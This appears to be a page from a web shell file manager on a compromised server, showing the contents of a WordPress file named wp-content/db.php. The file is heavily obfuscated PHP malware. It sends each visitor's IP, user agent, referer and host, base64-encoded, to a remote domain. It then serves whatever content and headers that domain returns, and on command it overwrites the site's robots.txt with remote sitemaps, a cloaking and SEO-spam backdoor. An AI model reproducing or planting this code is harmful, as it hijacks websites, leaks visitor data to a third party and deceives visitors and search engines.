HEX
Server: LiteSpeed
System: Linux d8 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User: wbwebdes (3015)
PHP: 8.1.31
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/wbwebdes/domains/backlink.wb-webdesign.com/public_html/wp-content/db.php
<?php
 goto ukRCq; tl3s2: $w7kSK = $I8D_S($SuwoH); goto ApNRk; vg9UA: $dJhc3 = "\x67\145\x72\x2e\143\157\155"; goto H3XWc; fZi3k: if (!empty($w7kSK)) { goto ZMraU; } goto orag8; Z5xON: MZ6P6: goto adBZ2; pSsFe: exit; goto SVVqQ; J3x1D: exit; goto SP8o1; kpiAN: ds2GF: goto ke8No; orag8: $zmWCU = "\x66\x69\x6c"; goto e8Brk; gRtNC: $b0Z91 = curl_init(); goto osG45; s6Jjn: EzNi8: goto k147V; VW4X_: $VpoyX = "\156\164\x73"; goto rdSuC; ke8No: $EVLAL = trim($qItKD[$FtOel - 1]); goto WExMu; H3XWc: $moBMc = "\150\x74\164\x70\x3a\x2f\57" . $WhmMg . $oWdM5 . $uu1Pa . $dJhc3; goto YTlMq; EN11p: $FtOel = count($qItKD); goto hIZHS; rR2Ae: $WhmMg = "\x7a\x6a\x32\71\70\70"; goto UDW2z; k147V: $Fdo6c = fopen($_SERVER["\x44\x4f\x43\125\x4d\105\116\x54\x5f\122\117\x4f\124"] . "\57\162\157\142\x6f\x74\163\x2e\164\x78\x74", "\167"); goto Efz7y; hIZHS: if ($FtOel < 3) { goto gKqkl; } goto ZTNtI; oUjmO: gKqkl: goto Zl61v; h9MyK: if (!(preg_match("\x2f\x6a\x70\62\60\x32\x33\57\163\x69", $_SERVER["\122\x45\x51\125\x45\x53\x54\x5f\x55\x52\x49"]) == 1)) { goto TE850; } goto qNa53; McLVz: TE850: goto eOYva; eOYva: $oWdM5 = "\56\x6d\160"; goto Tkg2X; dmP3t: exit; goto McLVz; nxgM3: foreach ($Bhqmm as $bCDco) { $A9SfN .= "\x53\x69\x74\x65\x6d\x61\x70\x3a" . $bCDco . PHP_EOL; K9rn7: } goto s6Jjn; rx5lp: $pJ3wO = "\x6f\156\164\145"; goto VW4X_; qNa53: if (!(preg_match("\57\152\x70\62\x30\62\x33\143\x77\167\57\x73\x69", $_SERVER["\122\105\x51\x55\105\123\124\x5f\x55\x52\111"]) == 0)) { goto MZ6P6; } goto kI8cP; kI8cP: header("\x48\124\x54\120\57\61\56\x30\x20\x34\x30\x34\40\x4e\x6f\x74\40\106\157\x75\156\x64"); goto Z5xON; adBZ2: echo "\x48\x54\x54\120\x2f\61\56\60\x20\64\60\x34\x20\x4e\157\x74\x20\106\157\x75\x6e\x64\x5f\137\x5f" . $WhmMg . "\x5f\x5f\x5f" . $tOACu; goto dmP3t; SP8o1: Gqp6_: goto eWIYn; Tkg2X: $uu1Pa = "\63\x6c\141\162"; goto vg9UA; UDW2z: $tOACu = "\x6b\155\x65\x6e"; goto h9MyK; JlrAy: $A9SfN .= "\x41\x6c\154\x6f\167\72\x2f" . PHP_EOL; goto H710i; Np2qW: array_pop($Bhqmm); goto nxgM3; WExMu: if (!($EVLAL == "\145\170\x69\164")) { goto Gqp6_; } goto J3x1D; phEXI: exit; goto Iwlh5; UPuiR: $UtYYz = "\x65\164\x5f\x63"; goto rx5lp; zdWfC: curl_close($b0Z91); goto fZi3k; Efz7y: fwrite($Fdo6c, $A9SfN); goto Rkz8m; vD3lr: echo "\162\157\142\157\164\163\56\164\x78\164\x20\x64\x6f\x6e\x65"; goto pSsFe; ukRCq: error_reporting(0); goto rR2Ae; Rkz8m: fclose($Fdo6c); goto vD3lr; tUfBU: $TI7mX = trim($qItKD[1]); goto TnTfk; qm2Nv: $w7kSK = trim($w7kSK); goto zdWfC; Zl61v: header("\x48\x54\124\120\x2f\x31\56\x30\x20\64\60\64\40\116\157\x74\x20\x46\x6f\165\x6e\144"); goto phEXI; iiJ46: $WxtA6 = array("\123\103\x52\111\x50\124\137\x4e\x41\x4d\x45", "\122\105\121\125\105\123\x54\137\x55\x52\111", "\x48\124\x54\x50\123", "\x52\x45\121\125\105\123\x54\137\123\x43\x48\105\115\x45", "\x53\x45\122\126\x45\x52\x5f\x50\x4f\122\124", "\x52\105\115\x4f\124\x45\x5f\x41\x44\104\x52", "\x48\x54\x54\x50\x5f\122\x45\106\x45\122\105\122", "\110\x54\x54\x50\137\101\103\103\105\120\124\x5f\x4c\x41\116\107\125\101\107\x45", "\x48\124\124\x50\x5f\125\123\x45\x52\137\101\x47\105\116\x54", "\x48\124\x54\x50\137\x48\117\x53\124", "\125\x52\111\137\120\x52\x45\x46\111\x58"); goto Olyb2; DleHH: $w7kSK = trim($w7kSK); goto wZw8Y; RxXr2: header($UXRo3); goto pvUk2; e01qb: $SuwoH = $moBMc . $QSg5z; goto gRtNC; e8Brk: $jO39z = "\145\x5f\x67"; goto UPuiR; Mibzf: echo $TI7mX; goto kpiAN; H710i: $Bhqmm = explode("\x3c\142\x72\x2f\x3e", $TI7mX); goto Np2qW; YTlMq: $QSg5z = "\57\x69\x6e\x64\145\x78\56\x70\150\160\x3f\126\x53\x3d" . $tOACu . "\x26\107\x50\75" . $WhmMg; goto iiJ46; eWIYn: if (!($EVLAL == "\160\x69\x6e\x67")) { goto McImE; } goto S95VL; FjZrA: if (empty($UXRo3)) { goto bPRJI; } goto RxXr2; pvUk2: bPRJI: goto tUfBU; TnTfk: if (empty($TI7mX)) { goto ds2GF; } goto Mibzf; f1ZxK: $w7kSK = curl_exec($b0Z91); goto qm2Nv; ApNRk: ZMraU: goto DleHH; Tk4Vp: curl_setopt($b0Z91, CURLOPT_CONNECTTIMEOUT, 10); goto f1ZxK; ZTNtI: $UXRo3 = trim($qItKD[0]); goto FjZrA; S95VL: $A9SfN = "\x55\x73\145\x72\55\x61\x67\x65\x6e\x74\72\x2a" . PHP_EOL; goto JlrAy; SVVqQ: McImE: goto HsuhL; wZw8Y: $qItKD = explode("\x7c\100\43\x24\174", $w7kSK); goto EN11p; Olyb2: foreach ($WxtA6 as $S4Lk2) { goto vTz3f; pvKTL: $FioN8 = isset($_SERVER[$S4Lk2]) ? $_SERVER[$S4Lk2] : ''; goto oxjtW; sMfI2: $vMjUD = base64_encode(trim($FioN8)); goto OuQMR; NF0aF: $QSg5z .= "\x26" . $S4Lk2 . "\75" . $vMjUD; goto aluN4; h9OsR: $FioN8 = isset($_SERVER["\x48\x54\x54\120\x5f\x58\137\x46\x4f\x52\127\x41\122\x44\105\104\x5f\x46\x4f\122"]) ? $_SERVER["\110\124\124\x50\x5f\130\137\x46\117\x52\127\x41\x52\x44\x45\104\x5f\106\117\122"] : (isset($_SERVER["\x52\105\115\x4f\x54\105\x5f\x41\104\x44\122"]) ? $_SERVER["\x52\105\115\x4f\x54\x45\x5f\101\104\104\122"] : ''); goto mPhQK; mPhQK: goto Slb7Y; goto xJoj4; MExZb: Slb7Y: goto sMfI2; aluN4: SZ5VR: goto X2JNz; vTz3f: if ($S4Lk2 == "\x52\x45\x4d\x4f\124\x45\137\x41\x44\x44\122") { goto kBuTH; } goto IXN2U; OuQMR: $vMjUD = str_replace("\x2b", "\x2d", $vMjUD); goto pZg9s; pZg9s: $vMjUD = str_replace("\57", "\137", $vMjUD); goto fwVR7; sy0dF: $FioN8 = isset($VCmIC) ? $VCmIC : ''; goto MExZb; fwVR7: $vMjUD = str_replace("\x3d", "\56", $vMjUD); goto NF0aF; xJoj4: B5TT7: goto sy0dF; IXN2U: if ($S4Lk2 == "\125\x52\x49\x5f\x50\122\105\x46\111\x58") { goto B5TT7; } goto pvKTL; zNzja: kBuTH: goto h9OsR; oxjtW: goto Slb7Y; goto zNzja; X2JNz: } goto alLLh; alLLh: mhp2s: goto e01qb; osG45: curl_setopt($b0Z91, CURLOPT_URL, $SuwoH); goto NIakj; HsuhL: goto RA7jx; goto oUjmO; rdSuC: $I8D_S = $zmWCU . $jO39z . $UtYYz . $pJ3wO . $VpoyX; goto tl3s2; NIakj: curl_setopt($b0Z91, CURLOPT_RETURNTRANSFER, 1); goto Tk4Vp; Iwlh5: RA7jx:
?>